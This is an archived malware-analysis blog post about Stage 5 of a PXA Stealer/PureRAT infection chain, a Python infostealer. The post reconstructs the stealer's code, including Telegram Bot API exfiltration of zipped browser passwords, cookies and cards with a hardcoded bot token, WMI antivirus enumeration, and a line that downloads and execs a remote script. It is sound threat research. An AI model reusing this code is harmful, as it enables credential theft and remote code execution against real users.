{
	"id": "69bb10b6-d06e-42d7-952a-83deae9f77a5",
	"created_at": "2026-04-06T00:15:45.623367Z",
	"updated_at": "2026-04-10T03:20:36.428828Z",
	"deleted_at": null,
	"sha1_hash": "b18b0874f0eacfd76bea2929b07851cef72fa705",
	"title": "PXA Stealers Evolution to PureRAT: Part 3 - Weaponised Python Stage (Stage 5)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2006229,
	"plain_text": "PXA Stealers Evolution to PureRAT: Part 3 - Weaponised Python\r\nStage (Stage 5)\r\nBy Darkrym\r\nPublished: 2025-08-31 · Archived: 2026-04-05 13:23:45 UTC\r\nIntroduction #\r\nIn this section, we dissect the weaponised Python payload at the heart of the attack chain. This is the first\r\nweaponzied stage and it is a fully fledged information stealer that operates in-memory, and exfiltrates data via\r\nTelegram.\r\nWe’ll analyse the decrypted bytecode from the previous stage, examine extraction routines targeting Chrome-based browsers, and review AV enumeration techniques using WMI. We’ll also explore the exfiltration logic that\r\nleverages Telegram’s Bot API, along with subtle hints suggesting that the campaign is far from over.\r\nThe InfoStealer #\r\nLooking at the next payload in the chain from https://is[.]gd/s5xknuj2 , it’s immediately clear that it’s\r\nsignificantly larger than the previous stages. As with Stage 3, this payload is encrypted and appears to use the\r\nsame hybrid decryption module though with a different key this time.\r\nUsing the Python script we wrote earlier, we load in the new payload, swap out the key, and successfully decrypt\r\nit. The result: a disassembled Python bytecode dump.\r\nThe decrypted output is massive, around 6,000 lines. From a quick glance, this definitely looks like the final stage.\r\nGiven the size, I decided to save the decrypted bytecode as a .pyc file and run it through strings for a more\r\ncompact and readable view. Starting with a search for underscores ( _ ) helps surface variable and function names\r\nthat follow common naming conventions.\r\nStrings .\\decrypted_payload_5.pyc | Select-String -Pattern \"_\" | Get-Content -Head 20\r\nZ_d\r\nZ_eWZ`eYZatZe]\r\ncreate_unicode_buffer\r\npbkdf2_hmac)\r\nch_dc_browsers\r\ninstalled_ch_dc_browsers\r\nos_cryptZ\r\nencrypted_key\r\nlocal_state\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 1 of 9\n\nch_master_keyr)\r\nget_ch_master_key\r\nMODE_GCM\r\ndecrypted_passr)\r\ndecrypt_ch_value\r\nMODE_CBCrC\r\ndecoded_itemZ\r\nmaster_passwordZ\r\nglobal_saltZ\r\nWe notice that many function names that suggest data extraction routines begin with get . From here, searching\r\nfor \"get\" provides even more insight:\r\nStrings .\\decrypted_payload_5.pyc | Select-String -Pattern \"get\"\r\nget_ch_master_key\r\ngetKey\r\n...\r\nget_gck_basepath^\r\n...\r\nget_gck_profiless\r\nget_ch_google_token\r\n...\r\nget_ch_login_data\r\n...\r\nget_ch_cookies\r\nget_ch_ccards\r\nget_ch_autofill\r\nGetIPB\r\nget_installed_av\r\ngetenvZ\r\ngetlogin\r\ngetbufferZ\r\n...\r\nThis paints a fairly clear picture: this is an information stealer. It goes after Chrome and Mozilla based browser,\r\nlooking for login data, cookies, saved credit cards, autofill entries, and 2FA tokens, which is all fairly standard\r\nthese days.\r\nHowever, one function that stands out is get_installed_av , which appears to enumerate installed antivirus\r\nproducts. That’s worth digging into.\r\nDissecting get_installed_av #\r\nHere’s a disassembly snippet of the get_installed_av function:\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 2 of 9\n\nDisassembly of \u003ccode object get_installed_av at 0x1051a8710, file \"\u003cstring\u003e\", line 864\u003e:\r\n....\r\n867 8 LOAD_GLOBAL 1 (win32com)\r\n 10 LOAD_ATTR 2 (client)\r\n 12 LOAD_METHOD 3 (Dispatch)\r\n 14 LOAD_CONST 1 ('WbemScripting.SWbemLocator')\r\n 16 CALL_METHOD 1\r\n 18 STORE_FAST 1 (wmi)\r\n868 20 LOAD_FAST 1 (wmi)\r\n 22 LOAD_METHOD 4 (ConnectServer)\r\n 24 LOAD_CONST 2 ('.')\r\n 26 LOAD_CONST 3 ('root\\\\SecurityCenter2')\r\n 28 CALL_METHOD 2\r\n 30 STORE_FAST 2 (conn)\r\n869 32 LOAD_FAST 2 (conn)\r\n 34 LOAD_METHOD 5 (ExecQuery)\r\n 36 LOAD_CONST 4 ('SELECT * FROM AntiVirusProduct')\r\n 38 CALL_METHOD 1\r\n 40 STORE_FAST 3 (products)\r\n870 42 LOAD_FAST 3 (products)\r\n\u003e\u003e 44 GET_ITER\r\n 46 FOR_ITER 8 (to 56)\r\n 48 STORE_FAST 4 (product)\r\n871 50 LOAD_FAST 0 (antivirus_list)\r\n 52 LOAD_METHOD 6 (add)\r\n 54 LOAD_FAST 4 (product)\r\n\u003e\u003e 56 LOAD_ATTR 7 (displayName)\r\n...\r\n874 84 LOAD_FAST 0 (antivirus_list)\r\n 86 RETURN_VALUE\r\n876 88 \u003c119\u003e 0\r\nThe critical lines (Converted back to python) here are:\r\nimport win32com\r\nwmi = win32com.client.Dispatch(\"WbemScripting.SWbemLocator\")\r\nconn = wmi.ConnectServer(\".\", \"root\\\\SecurityCenter2\")\r\nproducts = conn.ExecQuery(\"SELECT * FROM AntiVirusProduct\")\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 3 of 9\n\nThis uses WMI (Windows Management Instrumentation) via the win32com.client module to connect to the\r\nSecurityCenter2 namespace and enumerate installed antivirus products using the AntiVirusProduct class. The\r\nresults are then appended to a list.\r\nThis is a perfect example of LOLBINs being used. A lot of the time you’ll see a big list of hardcoded security\r\nproducts which the threat actor loops through searching for, but in this case this is the equivalent of asking\r\nWindows, “Hey what AV do you have installed?” and Windows gives it to them.\r\nI was hoping for something more exciting here, maybe some defence evasion or attempts to kill the AV products\r\nbut if we follow this through, it simply sends the data back to the threat actor.\r\nBut this also hints at a further stage for installing a RAT. Typically, the threat actor will only collect information\r\nlike this if they intend to push additional malware to the host.\r\nExfiltration via Telegram #\r\n 18 336 LOAD_CONST 17 ('7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ')\r\n 338 STORE_NAME 49 (TOKEN_BOT)\r\n 26 340 LOAD_CONST 18 ('-1002460490833')\r\n 342 STORE_NAME 50 (CHAT_ID_NEW)\r\n 27 344 LOAD_CONST 19 ('-1002469917533')\r\n 346 STORE_NAME 51 (CHAT_ID_RESET)\r\n 28 348 LOAD_CONST 20 ('-4530785480')\r\n 350 STORE_NAME 52 (CHAT_ID_NEW_NOTIFY)\r\n....\r\n918 2838 LOAD_NAME 5 (requests)\r\n 2840 LOAD_ATTR 155 (post)\r\n919 2842 EXTENDED_ARG 1\r\n 2844 LOAD_CONST 266 ('https://api.telegram.org/bot')\r\nMoving on it appears the malware is once again using Telegram as its communication channel, which is\r\nincreasingly common. As a widely used and “trusted” platform, Telegram traffic often evades detection and\r\nfiltering by firewalls and security products.\r\nThe malware uses a single bot token to send messages but communicates with three distinct Telegram chat IDs:\r\nCHAT_ID_NEW_NOTIFY\r\nCHAT_ID_RESET\r\nCHAT_ID_NEW\r\nWe can work backwards from the disassembled code to determine what data is sent to each chat and under what\r\nconditions.\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 4 of 9\n\nOnce again to make understanding this process easier, I’ve converted the disassembled bytecode back into\r\nreadable Python source code.\r\nThe first step in this process is archiving the collected data into a ZIP file.\r\narchive_path = os.path.join(\r\n TMP,\r\n f\"[{Country_Code}_{IPV4}] {os.getenv('COMPUTERNAME', 'defaultValue')}.zip\"\r\n)\r\n# Create zip with compression\r\nwith zipfile.ZipFile(zip_data, 'w', compression=zipfile.ZIP_DEFLATED, compresslevel=9) as zip_file:\r\n zip_file.comment = f\"Time Created: {creation_datetime}\\nContact: https://t.me/LoneNone\".encode()\r\n for root, _, files in os.walk(Data_Path):\r\n for name in files:\r\n try:\r\n file_path = os.path.join(root, name)\r\n arcname = os.path.relpath(file_path, Data_Path)\r\n zip_file.write(file_path, arcname)\r\n except Exception:\r\n pass\r\n# Write the in-memory zip to disk\r\ntry:\r\n with open(archive_path, 'wb') as f:\r\n f.write(zip_data.getbuffer())\r\nexcept Exception:\r\n pass\r\nThere one line there which stands out to me, zip_file.comment = f\"Time Created:\r\n{creation_datetime}\\nContact: https://t.me/LoneNone\".encode() This includes a contact field pointing to a\r\nTelegram handle: @LoneNone , which is likely the malware author or operator.\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 5 of 9\n\nThis detail strongly suggests a link to PXA Stealer, a lesser-known info-stealer which was discovered in Nov\r\n2024 by Talos. While public reporting on this malware remains limited, several indicators align with earlier PXA\r\nsamples, albeit with notable changes, including different filenames (e.g., images.png , svchost.exe ) and\r\nhardened infrastructure.\r\nThe overall structure and techniques remain consistent, but the threat actor appears to have refined their tooling\r\nand operational security.\r\nBack in the code, the function continues by generating a summary message of the ZIP archive, including victim\r\nmetadata and extracted credential statistics.\r\n# Construct message body\r\nmessage_body = (\r\n f\"{GetIPD}\\n\"\r\n f\"\u003cb\u003eUser:\u003c/b\u003e \u003ccode\u003e{os.getlogin()}\u003c/code\u003e\\n\"\r\n f\"\u003cb\u003eAntiVirus:\u003c/b\u003e \u003ci\u003e{'\u003c/i\u003e, \u003ci\u003e'.join(AV_List) if AV_List else 'Unknown'}\u003c/i\u003e\\n\"\r\n f\"\u003cb\u003eBrowser Data:\u003c/b\u003e \u003ccode\u003e\"\r\n f\"CK:{total_browsers_cookies_count}\"\r\n f\"|PW:{total_browsers_logins_count}\"\r\n f\"|AF:{total_ch_autofill_count}\"\r\n f\"|CC:{total_browsers_ccards_count}\"\r\n f\"|TK:{total_browsers_tokens_count}\"\r\n f\"|FB:{total_browsers_fb_count}\"\r\n f\"|GADS:{google_ads_cookie}\u003c/code\u003e\\n\"\r\nIt then determines which Telegram chat to notify, based on whether a count is set to 1 :\r\n# Determine Telegram chat ID\r\nCHAT_ID = CHAT_ID_NEW if Count == 1 else CHAT_ID_RESET\r\n# Send info to Telegram\r\nif Count == 1 and CHAT_ID_NEW_NOTIFY:\r\nrequests.post(\r\nf\"https://api.telegram.org/bot{TOKEN_BOT}/sendMessage\",\r\nparams={\r\n\"chat_id\": CHAT_ID_NEW_NOTIFY,\r\n\"text\": message_body,\r\n\"parse_mode\": \"HTML\"\r\n}\r\n).raise_for_status()\r\nwith open(archive_path, 'rb') as f:\r\nresponse_document = requests.post(\r\nf\"https://api.telegram.org/bot{TOKEN_BOT}/sendDocument\",\r\nparams={\r\n\"chat_id\": CHAT_ID,\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 6 of 9\n\n\"caption\": message_body,\r\n\"parse_mode\": \"HTML\",\r\n\"protect_content\": True\r\n},\r\nfiles={\r\n\"document\": f\r\n}\r\n)\r\nresponse_document.raise_for_status()\r\nFrom this logic, we can map out the behaviour based on the Count variable:\r\nVariable Used for\r\nWhen\r\nUsed\r\nData Sent\r\nCHAT_ID_NEW Main data\r\nIf\r\nCount\r\n== 1\r\nZip archive,\r\nmessage\r\nCHAT_ID_RESET\r\nFallback /\r\nreinfection\r\nIf\r\nCount\r\n!= 1\r\nZip archive,\r\nmessage\r\nCHAT_ID_NEW_NOTIFY\r\nNotification\r\nchannel\r\nIf\r\nCount\r\n== 1\r\nText-only\r\nnotification\r\nThe Count variable plays a central role here, but it’s not\r\ndefined within this stage, from what I can tell anyway. It’s\r\nlikely set earlier in the execution chain and persisted across\r\nstages.\r\nThis structure may function as a reinfection check. The malware may be designed to distinguish between newly\r\ninfected and previously compromised hosts, adjusting its reporting behaviour accordingly. Helping the threat actor\r\ntrack infections over time, whilst reduce noise from duplicate logs, and possibly prioritise newly compromised\r\nhosts.\r\nAlternatively, CHAT_ID_RESET may serve as a fallback receiver, used when delivery to the primary channel is no\r\nlonger appropriate or fails.\r\nJust as it seemed like we had reached the end of the chain, lo and behold, there’s a sixth stage hiding in all that\r\nbytecode:\r\n812 3036 LOAD_NAME 164 (exec)\r\n 3038 LOAD_NAME 5 (requests)\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 7 of 9\n\n3040 LOAD_METHOD 165 (get)\r\n 3042 EXTENDED_ARG 1\r\n 3044 LOAD_CONST 278 ('https://0x0[.]st/8WBr.py')\r\n 3046 CALL_METHOD 1\r\n \u003e\u003e 3048 LOAD_ATTR 166 (text)\r\nThis snippet downloads and executes a remote Python script from using\r\nrequests.get(https://0x0[.]st/8WBr.py).text passed directly to exec() .\r\nIf we curl that URL, we can retrieve the next payload:\r\nexec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode(\"c|c}\u003cpdtmL_\u003c+xYe\r\nOnce again, this stage closely mirrors Stage 2 only this time, the payload is significantly larger than anything\r\nencountered so far.\r\nQuick Recap: What Did We Find in Part 3? #\r\nWhat began as an encrypted blob from a Telegram-triggered redirect evolved into a weaponised final payload a\r\nfull-featured Python information stealer operating entirely in-memory.\r\nThis stage introduced:\r\nExtraction of Chrome and Firefox browser data (passwords, cookies, credit cards, 2FA tokens)\r\nAV enumeration via WMI (no hardcoded checks—Windows is asked directly)\r\nStealthy exfiltration of stolen data using Telegram Bot API\r\nArchive creation with metadata linking to operator (@LoneNone)\r\nDynamic victim profiling using a Count flag to control reporting and reinfection logic\r\nDiscovery of Stage 6, loaded on the fly via exec(requests.get().text) from 0x0.st\r\nEach step was executed without writing new files to disk, maintaining a memory-only footprint that:\r\nReduces detection by AV and EDR tools\r\nEnables flexible updates through Telegram and URL shorteners\r\nSuggests a modular, ongoing campaign—potentially linked to the evolving PXA Stealer family\r\nUp Next: Part 4 — .NET Payload Analysis #\r\nJust when we thought Stage 5 was the final payload, Stage 6 pulled the rug out with a massive Base85 blob and\r\nin-memory decryption chain.\r\nBut it gets better (or worse):\r\nThat decoded blob leads to our first Windows PE executable, stealthily injected into a suspended RegAsm.exe\r\nprocess a classic process hollowing technique.\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 8 of 9\n\nStay tuned for Part 4, we shift gears into the world of .NET malware, where the payload:\r\nExecutes fully in-memory via .NET reflection\r\nUnhooks ETW and patches AMSI to blind monitoring tools\r\nDeploys yet another embedded binary, suggesting even more stages to come\r\nFrom Python to PE, from Base85 to reflection — this campaign isn’t just multi-stage. It’s multi-language, multi-layered, and still escalating.\r\nReply by Email\r\nSource: https://www.darkrym.com/posts/python_malware_part3/\r\nhttps://www.darkrym.com/posts/python_malware_part3/\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.darkrym.com/posts/python_malware_part3/"
	],
	"report_names": [
		"python_malware_part3"
	],
	"threat_actors": [],
	"ts_created_at": 1775434545,
	"ts_updated_at": 1775791236,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b18b0874f0eacfd76bea2929b07851cef72fa705.pdf",
		"text": "https://archive.orkl.eu/b18b0874f0eacfd76bea2929b07851cef72fa705.txt",
		"img": "https://archive.orkl.eu/b18b0874f0eacfd76bea2929b07851cef72fa705.jpg"
	}
}